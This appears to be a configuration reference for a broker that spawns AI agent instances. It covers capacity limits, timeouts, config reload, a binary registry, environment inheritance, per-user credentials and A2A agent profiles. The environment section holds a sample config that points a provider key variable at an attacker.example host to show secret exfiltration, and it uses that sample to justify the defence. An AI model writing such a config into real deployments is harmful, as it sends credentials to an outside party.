nexus_binary_pathstringnexusDeprecated — use binaries.nexus.path. Path to the nexus binary the broker exec()s to spawn instances. Funneled through ExpandPath (supports ~). Still honoured so existing deployments boot unchanged: when it is set and binaries.nexus is absent, its value is folded into the reserved nexus entry and the broker logs one WARN naming the replacement key. Setting it and binaries.nexus is a boot failure naming both keys — see Binary registry. Setting it to the empty string is also a boot failure (remove the key to take the default).
max_concurrentint8Maximum number of live instances (one per lease). Each POST /claim acquires a capacity slot before spawning, and the slot is freed on every teardown path (manual POST /release, idle, crash, and any failed/aborted claim), so the live count can never exceed this cap or drift. A claim that arrives at capacity does not fail outright: it parks in a FIFO wait queue bounded by queue_wait_timeout (see below). Set max_concurrent to 0 (or any non-positive value) to mean unlimited (no cap). It is a headcount, not a resource budget: an instance pinning a 200k-token context counts exactly one, the same as an idle one, and the key bounds nothing about the memory, CPU or disk those instances hold. There is deliberately no per-lease resource limit in the broker — that belongs to the deployment (a systemd slice, a cgroup, one container per instance), so size this key such that max_concurrent × the per-instance limit fits the host. It is also global, not per binaries: entry: one variant can fill it for every other.
client_replay_buffer_bytesint1048576 (1 MiB)How many bytes of already-sent, client-bound frames each lease retains so a client that missed them can be replayed. The broker stamps a monotonic, per-lease sequence (seq, counting from 1) on every frame it sends a lease’s client, and keeps the encoded bytes here, evicting oldest first once the bound is reached. Both of the gateway’s loss paths — no client attached, and an attached client whose send queue is full — retain the frame rather than discarding it, so the gap is both detectable (the sequence jumps) and recoverable (the frames are still held). Only client-bound frames are sequenced and buffered: instance-bound frames carry no seq and are not retained, so nothing on the dial-back side changed. The bound is in bytes, not frames, because client-bound payloads run from a few-byte token delta to a hundred-kilobyte tool result — a frame count would say nothing about memory. Worst-case memory across the broker is this value × max_concurrent — 8 MiB at both defaults; with max_concurrent: 0 (unlimited) it is unbounded, so pair the two. A single frame larger than the whole bound is not retained at all (it is evicted immediately) rather than breaching the bound. Set it to 0 to disable retention while leaving sequencing intact: loss stays visible to the client, but the broker keeps nothing to replay. A negative value is a boot failure naming the key. Clients reach the retained frames with ?from_seq= on the client socket, which replays the retained tail before the live stream and announces an explicit stream-gap frame when the bound can no longer cover the requested resume point. The buffer is in-memory and dies with the lease: it is never journaled, state_dir does not persist it, and a broker restart starts every lease’s sequence again at 1 with an empty buffer.
idle_timeoutduration5mHow long a lease with no turn in flight may sit with no client activity before the broker releases it, with the terminal reason idle. “Activity” is an inbound io frame flowing client → instance (user input) or the moment the instance reports its turn finished; instance → client output mid-turn, pings, and control frames do not reset the timer. A lease whose instance is working is exempt regardless of how long ago the client last typed — the broker reads the io.status state off the instance’s own frames, treats thinking, tool_running, streaming, waiting and cancelling as a live turn and idle as its end, and bounds the exemption with max_turn_duration. So this key is sized to the longest human pause a session should survive, not to the longest turn an agent might take. The release reuses the POST /release teardown path (shutdown frame → release_graceSIGTERM to the process group → SIGKILL → reap), so the session is persisted and the client WS closes with the going-away status. A background sweeper polls at min(idle_timeout/4, 15s) (floored at 50ms). Set idle_timeout to 0 (or any non-positive value) to disable reaping entirely — which also switches off max_turn_duration, since the same sweeper enforces both.
max_turn_durationduration30mHow long a single in-flight turn may exempt its lease from idle_timeout before the broker releases it anyway, with the distinct terminal reason turn timeout (not idle, so an operator reading the journal can tell “nobody was here” from “killed mid-work”). It is the backstop on the live-turn exemption: an instance that wedges, or whose tool never returns, never reports the idle state that settles a turn and would otherwise hold its lease — and its max_concurrent slot — for the lifetime of the broker. The clock starts at the first work state after a settled period and is not refreshed by later status frames, so it measures the whole turn rather than the gap between frames. Teardown is the ordinary shared path, identical to an idle release apart from the recorded reason. Set it to 0 (or any non-positive value) to disable the bound, restoring an unbounded exemption — a live turn then holds its lease indefinitely. It is enforced by the idle sweeper, so it is inert when idle_timeout <= 0. Size it above the longest turn this deployment legitimately runs: a lease reaped as turn timeout had work in progress.
queue_wait_timeoutduration30sHow long an over-capacity POST /claim parks in the FIFO capacity wait queue before giving up. When max_concurrent is full, a claim waits in arrival order; the moment a slot frees (via POST /release, idle, or crash teardown) it is handed directly to the oldest waiter, which then spawns — no fresh claim can barge ahead of a longer-queued one, and the waiters reuse the same single slot counter (no second accounting path). A waiter that exceeds queue_wait_timeout returns HTTP 503 {"error":"capacity wait timed out"} (distinct message from the immediate {"error":"no capacity"}). If the client disconnects while queued, the waiter is dropped from the queue and holds no slot. Set queue_wait_timeout to 0 (or any non-positive value) to disable waiting: an at-capacity claim is then rejected immediately with HTTP 503 {"error":"no capacity"} (no instance spawned).
max_queue_depthint64How many over-capacity claims may be parked in the FIFO wait queue at once. max_concurrent bounds live instances; this bounds the claims waiting behind them. Each parked waiter costs a goroutine, a timer and an open HTTP connection for up to queue_wait_timeout, so without this bound an over-capacity broker accumulates all three without limit. A claim arriving when the queue is already this deep is refused immediately — it is never parked and costs none of the above — with HTTP 503 {"error":"capacity queue full"}. That is a third distinct message, so the three capacity refusals are told apart in a response and in the claim failed log line without correlating timings: no capacity (the cap is full and waiting is switched off), capacity wait timed out (this claim waited and gave up), capacity queue full (this claim was never allowed to wait). The bound is enforced before a capacity slot is taken, so a refused claim holds nothing and the slot counter cannot drift. Queue ordering is unchanged — still strictly FIFO by arrival, with a freed slot handed directly to the oldest waiter. Set it to 0 (or any non-positive value) to mean unlimited, restoring the pre-bound behaviour.
max_leases_per_principalint0 (off)How many live leases one authenticated principal may hold at once. A claim from a principal already at this limit is refused with HTTP 429 {"error":"lease limit reached for this principal"} — a quota answer, not one of the 503 capacity answers, because the broker may have slots to spare. The check runs before a capacity slot is taken and before the claim is queued, so an over-quota caller is refused instantly rather than parked only to be refused later, and it holds no slot to leak. It is exact rather than best-effort under parallel claims from one caller: the deciding check happens in the same critical section as the lease insert. It is enforced only when auth: is configured, and never for the anonymous principal — with no auth: block every lease is owned by the same anonymous identity, so applying a per-principal cap there would count the whole broker against one principal and silently become a second, lower max_concurrent. A broker with no auth: block therefore behaves exactly as it did before this key existed, whatever it is set to. 0 (or any non-positive value) leaves the cap off, which is the default: a per-tenant quota is a policy only the operator can size. Restored leases (restart recovery) bypass it for the same reason they bypass max_concurrent — refusing a process that is already running would hide it, not stop it.
max_queued_per_principalint0 (off)How many claims one authenticated principal may have parked in the FIFO capacity queue at once. It is what stops a single caller looping on POST /claim from occupying the whole queue and timing every other tenant’s single claim out behind it. Over-quota claims are refused with HTTP 429 {"error":"queued claim limit reached for this principal"}, immediately and without parking. Queue ordering is not changed — the queue stays strictly FIFO across all principals, and per-principal fair queueing is explicitly out of scope; this bounds how much of the queue one caller may hold, it does not reorder it. Gated on auth: and skipped for the anonymous principal exactly as max_leases_per_principal is, and off by default for the same reason.
release_graceduration10sHow long a deliberate release — manual POST /release, idle reaping, an overrunning turn, reattach reaping, broker shutdown — waits for an instance to shut its engine down cleanly, after the shutdown frame, before the broker escalates. It does not bound crash teardown and never did: a crash is an unexpected exit, so by the time the broker notices there is no engine left to ask nicely and nothing to wait out — that path frees the lease directly. Escalation is SIGTERM to the instance’s process group, then SIGKILL to the same group a fixed 2s later — see POST /release/{lease_id}. The graceful path (frame or SIGTERM) always persists the session; the kill is the orphan-prevention backstop. The second window is deliberately not configurable.
ready_timeoutduration30sThe ceiling on instance boot: how long POST /claim waits for a freshly spawned instance to dial back on /instance and signal ready before the broker gives up, kills the process, reaps it, drops the lease (freeing its capacity slot) and answers HTTP 504 {"error":"instance did not become ready in time"}. It is the value most likely to need raising, because it has to cover process start, engine construction and every plugin’s Init and Ready — a claim whose config pulls a long model list, warms a vector store or dials several MCP servers can legitimately take longer than the default, and before this key existed that surfaced as a 504 with nothing an operator could turn. It bounds the claim path only; it is unrelated to idle_timeout (a live lease) and max_turn_duration (a turn). The same window bounds an A2A cold spawn, since the agents: ingress boots instances through the identical spawn spine. Must be positive — a non-positive or unparseable value is a boot failure naming the key; there is no “wait forever” reading, because an instance that never registers would otherwise hold a capacity slot and an open HTTP connection indefinitely.
session_report_graceduration5sHow long POST /claim waits, after the instance has signalled ready, for its session-id report frame. The nexus.io.broker plugin sends the report immediately after ready, so this is a short grace window rather than a boot budget. Exceeding it is not an error: the claim still succeeds and still returns 200, just with the session_id key omitted from the response — the caller then has a usable lease it cannot later -recall, and the broker logs one WARN. Raise it only if instances are observed returning without a session id under load. Must be positive — a non-positive or unparseable value is a boot failure naming the key; 0 is not a supported way to skip the wait, because a fresh session whose id is never reported cannot be resumed.
max_claim_bodyint1048576 (1 MiB)Ceiling, in bytes, on the POST /claim request body. A body past it is refused with HTTP 400 {"error":"invalid claim body"} and nothing is spawned. It is sized to the config an operator ships, not to a protocol constant: a claim carries the whole nexus config inline (see POST /claim), so a deployment with a long skills: block, many MCP servers or an inlined system prompt can outgrow a megabyte. Must be positive — a non-positive or unparseable value is a boot failure naming the key; 0 would reject every claim. The A2A ingress’s own body cap is a fixed 1 MiB and is not this key: a JSON-RPC envelope carries a message, not a config, so it has no reason to grow with one.
state_dirstring(empty)Per-broker directory holding this broker’s lease journal (leases.jsonl), its session → binary index (session-binaries.jsonl), its A2A context → session index (a2a-contexts.jsonl) and A2A task store (a2a-tasks.jsonl, both written only when agents: is configured), its spawn-secret derivation key (spawn-key, mode 0600) and, when broker_id is unset, its generated identity (broker-id). Funneled through ExpandPath (supports ~). Empty (the default) disables lease persistence entirely: nothing is written, no directory is created, spawn secrets stay random per spawn, restart recovery does not run, neither the session → binary index nor the A2A context index exists (an A2A conversation is then resumable only for as long as this process lives), the A2A task store is memory-only (GetTask/ListTasks/SubscribeToTask still answer, but only for tasks this process ran — see A2A task retention), and the broker behaves exactly as it did before this key existed — it logs one WARN at startup saying lease state is in-memory only. Must not be shared between brokers: two brokers pointed at one directory would append to the same journal and compact each other’s live leases away. Created on demand (mode 0700); a state_dir that is set but unusable fails startup. See Lease durability, A2A context → session index and Restart recovery below.
broker_idstring(empty)The identity stamped on every persisted lease record, alongside advertise_addr, so a future shared store can tell whose lease is whose. Must be stable across restarts of the same broker. Empty (the default) means the broker generates one on first boot and persists it at <state_dir>/broker-id, reusing it thereafter — stable and unique with no operator effort. Set it explicitly to give a broker a name that means something in a cluster (broker-eu-1). Irrelevant while state_dir is unset, since nothing is then recorded.
reattach_windowduration60sHow long a lease restored from the journal after a restart may wait for its instance to reconnect before the broker reaps it (kills the process, frees the slot, closes the record out through the shared POST /release teardown). Only restored leases are subject to it; an ordinary claimed lease is never touched. A restored lease that reattaches inside the window becomes a fully ordinary lease — idle sweeping, crash watching, ownership checks and POST /release all apply to it unchanged. A non-positive value falls back to the 60s default rather than disabling the reaper: “wait forever” would leave a capacity slot held by an instance that is never coming back, which is the orphan restart recovery exists to remove. Irrelevant while state_dir is unset, since nothing is then restored. See Restart recovery below.
authmap(absent)Client authentication for the control-plane routes. It does not govern the instance dial-back on WS /instance, which always requires the per-spawn secret. Absent means authentication is disabled and every route behaves exactly as it did before the key existed; the broker logs one WARN at startup saying so. A malformed block is a boot failure naming the offending key — it never falls back to disabled. See Authentication below.
a2amap(absent)Settings shared by every agents: profile. Today it holds one sub-block, a2a.tasks, which bounds the durable A2A task store. It is separate from agents: because nothing in it is per profile: the store is one file, with one retention policy, for the whole broker. Absent means every default below applies. See A2A task retention.
a2a.tasks.ttlduration24hHow long a terminal task stays readable after its last transition. "0s" keeps every task until a cap evicts it. Must be a duration string ("24h", "90m") — a bare number fails the boot rather than being read as nanoseconds. A negative value is a boot failure naming the key. See A2A task retention.
a2a.tasks.max_per_contextint50How many tasks are kept per (caller, contextId) pair. 0 disables the cap. The cap is per caller as well as per context so one principal’s traffic cannot evict another’s — an eviction channel is still a channel. Only terminal tasks are evictable; a live task counts against the cap but is never dropped. A negative value is a boot failure. See A2A task retention.
a2a.tasks.input_timeoutduration15mHow long a task may sit at TASK_STATE_INPUT_REQUIRED before the broker abandons it: the task is driven to TASK_STATE_FAILED and the instance is told to cancel the turn. "0s" disables the deadline. This is also the queue deadlock policy — a parked task holds its conversation’s serial queue and its leased instance, so without a deadline one unanswered question would strand every message behind it. Must be a duration string; a negative value is a boot failure. See Serial task queueing.
agentsmap(absent)The named A2A agent profiles this broker publishes, keyed by the name their routes are namespaced under. Each profile binds a Nexus config, a binaries: entry and an Agent Card, so a third-party A2A client can address an agent by URL instead of supplying the full nexus config POST /claim demands. Entry fields are listed under Agent profiles below. Absent (the default) means this broker has no A2A ingress at all — no routes are registered and nothing new appears in the boot log, so a broker.yaml written before profiles existed behaves exactly as it did. Validated at boot: an empty or non-URL-safe profile name, a name that collides with another after trimming, a missing config, a binary that is not in the registry, a card missing a required field, or a config file that does not resolve to a readable file fails startup.

Reloadable keys (SIGHUP)

The broker re-reads its config file on SIGHUP and applies the reloadable half of it in place, so adding a binaries: variant or publishing an agents: profile no longer costs a restart — and a restart is the single event that costs every lease whose instance fails to reattach within reattach_window.

kill -HUP "$(pgrep -f nexus-broker)"

SIGHUP is the only trigger. There is deliberately no POST /reload: admin_scope is a read-only capability (“visibility only — there is no admin bypass on release or connect”), and a mutating admin route would be the first exception to that.

A reload is validate-then-swap and atomic. The file goes through exactly the boot loader, so a value that would have failed startup fails the reload; the Agent Cards are re-rendered before anything is published; and only when every step has succeeded is the new configuration swapped in, in one step. A reload that fails at any point leaves the previous configuration entirely in force and logs the reason — there is no half-applied state. Outcomes are logged as config reload applied (naming the keys that changed) or config reload rejected (naming the reason).

Live leases are never disturbed. A reload changes what the next claim can spawn; it never signals, kills or re-binds a running instance. That includes removing a binaries: entry a live lease was spawned from: the lease records the entry name, the process is already running, and a later resume against a name this broker no longer offers is refused with the existing 409.

KeyReloadable?Notes
binaries (and its folded inputs nexus_binary_path, run_as)YesThe next claim resolves its entry from the new registry. Paths are re-resolved, so a reload naming a missing or non-executable binary is refused exactly as a boot would be.
inherit_envYesApplies to the next spawn.
agentsYes, with one exceptionProfiles may be added, changed or removed and the Agent Cards are re-rendered and swapped as a unit. The exception: a broker that booted with no agents: block registered no A2A routes and opened neither the context index nor the durable task store, so a reload cannot switch the ingress on — that change is reported and ignored. Removing the last profile is allowed; the routes then answer 404 unknown agent profile.
max_concurrentYesRaising it immediately admits claims already parked in the capacity queue. Lowering it never evicts a live lease: the broker sits over its cap and admits nothing new until it drains back under.
idle_timeout, max_turn_durationYesThe sweeper re-reads both each pass, and re-derives its tick interval, so switching reaping on or off takes effect within one poll.
queue_wait_timeoutYesApplies to the next claim; a claim already parked keeps the bound it parked under.
release_graceYesApplies to the next release, manual or swept.
ready_timeout, session_report_grace, max_claim_bodyYesApplies to the next claim.
listen_addrNoChanging it means a new listener, which is a restart.
advertise_addrNoStamped into each lease record at registration; changing it live would make this process’s own records disagree.
state_dirNoThe lease journal, spawn key and both indexes are already open against the old directory, and restart recovery has already run.
broker_idNoAlready stamped on every record this broker has written; changing it live would orphan its own leases at the next boot.
auth (including auth.admin_scope)NoThe jwks validator holds a live kid cache with rate-limited fetches, and two documented guarantees rest on it surviving: key rotation needs no restart, and an unreachable issuer never turns into an allow. Rebuilding the chain would discard that cache, so a reload performed during an IdP outage would turn a working broker into one that denies every JWT.
reattach_windowNoConsumed once, at boot, by the restored-lease reaper.
client_replay_buffer_bytesNoStamped on a lease’s stream when the lease is created.
max_queue_depth, max_leases_per_principal, max_queued_per_principalNoAdmission state held by the registry rather than read per request.
a2a.tasks.*NoSizes a durable store that is already open, on the same footing as state_dir.

A boot-only key whose value changed in the reloaded file is reported in a startup-style WARN naming every such key and is ignored — the value in force is unchanged. The reloadable keys in the same document still apply: a boot-only change is not a reason to refuse everything around it.

Values that stay constants

Not every number in the broker is a key. These are fixed on purpose, and the reason differs per value:

ValueFixed atWhy it is not a key
WebSocket ticket TTL30sA ticket travels in a URL query parameter — a browser cannot set a header on a WebSocket handshake — so it lands in reverse-proxy access logs, browser history and referrer chains no matter what the broker does. Its tightness plus its single use are the mitigation for that exposure, so letting an operator widen it would let them silently remove the only thing that makes the design safe. A dropped socket is answered by POST /ticket/{lease_id} minting a fresh one, not by a longer window.
SIGTERMSIGKILL gap2sNot the operator’s shutdown budget — release_grace is, and it has already elapsed by the time this window opens. This is only the interval between “we have now actually asked the OS” and “we stop asking”.
Instance drain grace2sThe window a teardown gives the broker’s own instance read pump to finish draining a dead instance’s socket before the connection is closed. It opens only after the process has been reaped, so the socket is already closed at the far end and the next read returns EOF — the wait is normally microseconds, and the bound exists purely for a half-open socket the OS never tore down. It is not a shutdown budget (release_grace is, and it does not apply to a crash), and an operator lengthening it could only delay a teardown, never recover more frames. Exceeding it logs a WARN naming the lease.
A2A request body cap1 MiBA JSON-RPC envelope carries a message, not a config, so it has no reason to grow with an operator’s profiles the way max_claim_body does.
Lease-journal compaction interval, session→binary index cap512 appends, 4096 entriesInternal storage tuning with no operator-visible behaviour to trade off.

Binary registry (binaries)

One broker can front several nexus builds — a base binary, a vision-enabled build, a pinned older release — instead of the single spawn target nexus_binary_path allowed. Each entry is keyed by the name a claim selects it by; the key is the name, so an entry cannot disagree with itself.

binaries:
  nexus:                                    # reserved; declare it only to override the path
    path: "/usr/local/bin/nexus"
  vision:
    path: "~/builds/nexus-vision"           # ExpandPath applies here too
    label: "Nexus (vision)"
    description: "Multimodal build with the image tools compiled in"
    args: ["-profile", "vision"]
    env:
      NEXUS_VISION: "1"
Entry fieldTypeDefaultDescription
pathstring(required)The executable the broker exec()s for this entry. Funneled through ExpandPath (supports ~). A value with no path separator (nexus, nexus-vision) is looked up on the broker process’s PATH; anything else is used as a location on disk, relative to the broker’s working directory if it is not absolute. Required — an empty or missing path fails startup naming the entry. It is deliberately not defaulted to the entry name, which would turn a typo into a silent PATH lookup for a binary the operator never meant to run. Resolved and verified at boot — see Binary resolution.
labelstring(empty)Short human-readable name for operator/client surfaces ("Nexus (vision)"). Purely presentational; nothing routes on it. Consumers fall back to the entry name when empty.
descriptionstring(empty)One-line explanation of what this variant is for, for the same surfaces as label. Purely presentational.
argslist of string(empty)Extra argv entries for this variant, appended after the broker’s own spawn arguments so they can add to the command line but never displace the -config / -recall contract the instance protocol depends on.
envmap string→string(empty)Extra environment variables for this variant, layered over what the spawn inherited from the broker (the always-pass set and inherit_env) and under the broker-owned NEXUS_BROKER_* variables. Those name the dial-back address, the lease and the spawn secret; the broker’s values always win, so an entry cannot point an instance at another broker, hand it the wrong lease, or supply its own spawn secret. This is where a value that is a property of the variant belongs; inherit_env is where a value that lives in the broker’s own environment belongs.
run_asmap(absent)The OS credential this entry’s instances are exec()d under: uid and gid, both required whenever the block is written. Overrides the broker-level run_as outright — an entry that declares it does not merge with the default. Absent and with no broker-level default, instances run as the broker’s own user, which is what every spawn did before this key existed. When it is set, HOME follows the credential: the spawn’s HOME is the run_as user’s home directory from the passwd database, unless this entry’s env sets HOME itself. A uid whose home cannot be resolved and whose entry does not set env.HOME fails startup naming the entry. Supplementary groups are dropped (setgroups(0, NULL)), so the instance holds only the declared gid. See Running instances as another user.

Selecting an entry. A claim picks one with the optional binary field of its request body — see POST /claim. An unknown name is rejected with HTTP 400 before the claim allocates anything.

Discovering the entries. Clients read the live registry from GET /binaries, which returns name, label and description per entry — never path, args or env.

The nexus name is reserved. After a successful load the registry always contains it, so the base binary is spawnable from every broker no matter what the config says. There is deliberately no default: true field: a claim that names no binary always means nexus, so an operator cannot silently change what an existing client ends up spawning.

Folding the deprecated nexus_binary_path. The two keys are resolved at boot, from the same file, in exactly four cases:

nexus_binary_pathbinaries.nexusResult
absentabsentnexus synthesized with path nexus — the historical zero-config default, unchanged.
setabsentThe value becomes the nexus entry’s path, and one WARN names binaries.nexus.path as the replacement. Every pre-registry deployment boots unchanged.
absentsetTaken as written; nothing to fold.
setsetBoot failure naming both keys. Picking a winner would mean half the operators hitting it silently spawn the binary they did not mean, and the mistake would only surface as instances behaving oddly.

Instance environment (inherit_env)

A claimed instance is handed a config the caller wrote, and every Nexus provider resolves its credential from an environment variable that config namesapi_key_env and its equivalents — while the same config chooses base_url. So an environment variable that reaches an instance is not merely visible to it, it is postable anywhere by whoever claimed the lease:

# a claim body's `config`, which the broker execs an instance against
core:
  models:
    default:
      provider: openai
      api_key_env: AWS_SECRET_ACCESS_KEY    # any variable the process holds
      base_url: https://attacker.example    # where its value gets sent

An allowlist of known provider key names cannot bound that, because the caller picks the name. The broker therefore builds a spawn’s environment from scratch rather than inheriting its own, in this order (later wins, since exec resolves a duplicated key to its last occurrence):

  1. The always-pass setHOME, LANG, PATH, TZ — taken from the broker’s environment regardless of configuration. These are not credentials and are not optional: HOME is what resolves ~/.nexus, so without it an instance cannot create a session directory and -recall has nothing to resume; PATH is what makes exec and the shell tool work at all; TZ and LANG decide how the instance renders times and text.
  2. Everything inherit_env names, taken from the broker’s environment. A name the broker does not hold is skipped rather than exported empty — an instance can tell “unset” from “set to the empty string”, and a provider handed api_key_env="" fails less legibly than one that finds the variable absent.
  3. The selected entry’s env map, applied in sorted key order. This is the per-variant declaration point, and it sets a value rather than forwarding one, so it can also override something step 1 or 2 contributed.
  4. The three broker-owned variablesNEXUS_BROKER_ADDR, NEXUS_BROKER_LEASE_ID, NEXUS_BROKER_SPAWN_SECRET. Last, always, so nothing an entry or the broker’s shell contributes can point an instance at a different broker, hand it another lease’s id, or supply its own spawn secret.

Steps 1–3 are emitted in sorted key order, so the environment a spawn is handed is byte-identical across restarts.

At boot the broker logs one line per registry entry naming exactly the variables that entry’s spawns will carry — names only, never values:

level=INFO msg="binary registry entry" name=vision path=/opt/builds/nexus-vision \
  resolved_path=/opt/builds/nexus-vision \
  spawn_env=ANTHROPIC_API_KEY,HOME,LANG,NEXUS_BROKER_ADDR,NEXUS_BROKER_LEASE_ID,NEXUS_BROKER_SPAWN_SECRET,NEXUS_VISION,PATH,TZ

Because the line reports what will be carried rather than what was declared, a name that is missing from it was never in the broker’s own environment. Those are also collected into one startup WARN:

level=WARN msg="inherit_env names variables this broker's own environment does not hold, ..." missing=ANTHROPIC_API_KEY
# broker.yaml — forward two provider keys the broker was started with
inherit_env:
  - ANTHROPIC_API_KEY
  - OPENAI_API_KEY

binaries:
  vision:
    path: /opt/builds/nexus-vision
    env:
      NEXUS_VISION: "1"          # set outright, not forwarded

Use inherit_env when the value lives in the broker’s own environment (a secret injected by systemd, Kubernetes or a secrets agent) and binaries.<name>.env when the value is a property of the variant. A claim’s own config can of course still carry a credential inline, in which case neither key is involved.

There is no wildcard. inherit_env: ["*"] is not supported and is not planned: it would restore exactly the exfiltration primitive above, and because the caller picks the variable name in its own config, “forward everything except the risky ones” is not a line anybody can draw.

This is a breaking change for a broker that predates the key — a spawn used to take os.Environ() wholesale, so an instance whose config expects to read ANTHROPIC_API_KEY from the environment now fails to reach its provider on the first turn unless the name is declared here or set in the entry’s env. The migration is in Upgrading an existing broker.

inherit_env is reloadable and applies to the next spawn.

Running instances as another user (run_as)

Without run_as, every claimed instance runs as the broker’s own uid with the broker’s HOME. The process boundary between two claims is then not a privilege boundary: one tenant’s instance can read every other tenant’s session directory under ~/.nexus/sessions/, and it can read <state_dir>/spawn-key — which is enough to derive any live lease’s dial-back secret and impersonate its instance. run_as is what turns a separate process into a separate principal.

# broker.yaml
run_as:                       # the default for every entry that declares none
  uid: 1500
  gid: 1500

binaries:
  vision:
    path: /opt/builds/nexus-vision
    run_as:                   # replaces the default outright — not merged
      uid: 1501
      gid: 1501

  support:
    path: /opt/builds/nexus-support
    run_as:
      uid: 1502
      gid: 1502
    env:
      HOME: /var/lib/nexus/support   # operator-set data dir; wins over the passwd home
  • Per entry over a broker default. The interesting separation is between variants: a vision build and a support agent want to be apart from each other, not merely from the host. An entry that writes run_as replaces the broker-level block wholesale — a uid taken from one place and a gid from another is a credential nobody wrote down.
  • Both fields are required whenever the block is written. A uid without a gid leaves instances in the broker’s primary group, so their session files stay reachable from it — a boundary that looks complete in the config and is not one on disk.
  • Ids are numeric, not user names. Resolving a name needs the passwd database, which a hardened container may not carry, and a name that resolves differently on two hosts is a silent privilege change.
  • HOME follows the credential. HOME is what resolves ~/.nexus, so an instance dropped to another uid while still pointed at the broker’s home cannot create its session directory and every claim fails at the first write. The broker therefore resolves the run_as user’s home from the passwd database at boot and gives the spawn that HOME; an entry’s env.HOME overrides it and is the way to put instance state somewhere other than a home directory. A uid with no resolvable home and no env.HOME fails startup, naming the entry and the key that fixes it.
  • Sessions are consistent per registry entry. Two entries running under different credentials keep their sessions in different trees. Resume stays correct because a session already records the entry that created it and a resume under a different entry is refused with 409 — see Resume inherits the recorded binary — so a session can never be replayed under an entry whose HOME would not contain it.
  • Supplementary groups are dropped. The child calls setgroups(0, NULL), so it holds only the declared gid; keeping the broker’s group memberships would leave the instance able to reach most of what the key exists to take away.

The broker must be privileged. Setting a child’s credentials — including dropping supplementary groups — requires root, or CAP_SETUID and CAP_SETGID on Linux. This is true even when the uid named is the broker’s own. A broker configured with run_as that lacks the privilege logs one WARN at boot:

level=WARN msg="run_as is configured but this broker does not run as root, ..." euid=501

and every claim that selects such an entry fails at spawn, immediately, with HTTP 500 {"error":"spawning instance"} and a broker-side log line naming the refused credential — not a claim that hangs until the ready timeout.

Each entry’s credential and resolved home appear in the boot log beside its path and spawn environment:

level=INFO msg="binary registry entry" name=vision path=/opt/builds/nexus-vision \
  resolved_path=/opt/builds/nexus-vision spawn_env=… run_as=1501:1501 run_as_home=/home/nexus-vision

What run_as does not do. It separates instances by OS user, and that is the whole of it. It does not sandbox the filesystem, restrict the network, or bound CPU and memory — a claim still supplies the whole engine config, and the shell and file tools still run with whatever that uid can reach. It does not separate two instances of the same entry from each other: they share a credential and a session tree. Nor does it protect an instance from the claimant, who chose its config and drives its tools.

Leaving run_as unset is therefore a statement that every caller of this broker may read every other caller’s sessions and its spawn-key. That is fine inside one trust domain and is not fine between two — deploy one broker per trust domain, or set run_as. See Trust boundaries.

Binary resolution

Every registry entry — including the reserved nexus one, and including the value folded in from a deprecated nexus_binary_path — is resolved and verified once, at startup, before the gateway listens. The steps, in order:

  1. Expand. ~ and ~/… are expanded through ExpandPath, as everywhere else in Nexus.
  2. Look up bare names on PATH. A path containing no path separator is resolved against the broker process’s own PATH. This is what makes the zero-config path: "nexus" work, and it is allowed for every entry, not just the reserved one.
  3. Make absolute. The result is turned into an absolute path, so spawning is unaffected by the broker’s working directory.
  4. Stat and check. The path must exist, be a regular file (symlinks are followed), and carry at least one execute bit.

Any failure at any step refuses the boot, with an error naming the entry, the path that was resolved, and the specific reason (no such file, is a directory, is not executable (mode …), not found on PATH). The resolved absolute path is then held for the process lifetime, so a claim performs no filesystem work and a PATH lookup cannot answer differently mid-flight.

At startup the broker logs one line per entry carrying both the configured path and the resolved_path, so a surprising PATH answer — a stale build in ~/go/bin shadowing /usr/local/bin — is visible in the boot log rather than inferred later from an instance behaving oddly.

Behaviour change. A broker whose registry names a missing, non-executable, or directory path now fails to start. That includes a zero-config broker with no nexus on its PATH, which previously started fine and only failed at the first POST /claim. The tradeoff is deliberate and one-sided: a broker restarted midway through a variant rollout, while a binary is momentarily absent, will not come up — but an operator learns about a typo or a missing build at deploy time instead of from a user’s failed claim.

Agent profiles (agents)

An agent profile is one public agent this broker fronts: a Nexus config to boot, a binary registry entry to boot it with, and the Agent Card that describes the result to the world. Each profile publishes its own A2A endpoints under its own path namespace.

Profiles exist because POST /claim cannot be an A2A front door: a claim carries the full nexus config as inline YAML, which no third-party A2A client can supply — it does not know Nexus exists, let alone which plugins to activate. A profile moves that decision broker-side, so the client names an agent by URL and the operator decided long ago what running that agent means.

Rejected alternative: carrying the Nexus config through A2A Message.metadata. That works only for Nexus-aware clients, which defeats the point of speaking a standard protocol.

agents:
  support:                                  # the name every route is namespaced under
    binary: nexus                           # optional; omitted means the reserved `nexus` entry
    config: "~/agents/support.yaml"         # ExpandPath applies here too
    card:
      name: "Support Agent"
      description: "Answers customer questions from the product knowledge base."
      version: "1.2.0"
      documentation_url: "https://acme.example/docs/support-agent"
      icon_url: "https://acme.example/icons/support.png"
      provider:
        organization: "Acme"
        url: "https://acme.example"
      default_input_modes: ["text/plain"]
      default_output_modes: ["text/plain"]
      skills:
        - id: "answer"
          name: "Answer questions"
          description: "Answers a customer question and cites its sources."
          tags: ["support", "qa"]
          examples: ["How do I rotate my API key?"]
  research:
    binary: vision                          # any entry of the binaries registry
    config: "~/agents/research.yaml"
    card:
      name: "Research Agent"
      description: "Reads documents and summarizes them."
      version: "0.1.0"
      skills:
        - id: "summarize"
          name: "Summarize"
          description: "Summarizes a supplied document."
Profile fieldTypeDefaultDescription
binarystringnexus (reserved)Which binaries: entry this profile spawns. Omitted means the reserved nexus entry, exactly as an omitted binary on POST /claim does — an omitted binary has one meaning in this broker, not two. An unknown name is a boot failure naming the alternatives, not a fallback to nexus: quietly spawning the base binary for an agent an operator bound to a vision build produces a session that merely behaves oddly, which is far harder to diagnose than a refusal.
configstring(required)Path to the Nexus config file instances of this profile boot with. Funneled through ExpandPath (supports ~), resolved to an absolute path and stat()ed at boot: a path that does not exist, is a directory, or cannot be read fails startup naming the profile. Its contents are not parsed here — whether it is a valid Nexus config is the engine’s judgement, made by the instance that boots it.
cardmap(required)The hand-authored half of this profile’s Agent Card. Required: an A2A agent MUST publish a card, and the broker will not invent a name, description or skill list on an operator’s behalf.

Profile names are URL path segments, so they are validated more strictly than binary registry names: letters, digits, -, _ and . only, and not starting with .. A name carrying a slash would silently restructure the route tree; one carrying a space, colon or percent would round-trip differently through URL encoding than through the card, so a client would dial a URL the broker never registered. Names are compared with surrounding whitespace trimmed, so "support ": and support: are a duplicate and fail the boot.

Agent Card (agents.<name>.card)

The keys are spelled exactly as nexus.io.a2a’s inline card: block spells them, so a card authored for a standalone serving instance pastes in unchanged.

Card fieldTypeDefaultDescription
namestring(required)The agent’s public name.
descriptionstring(required)The agent’s public description.
versionstring(required)The agent’s version, not the protocol’s.
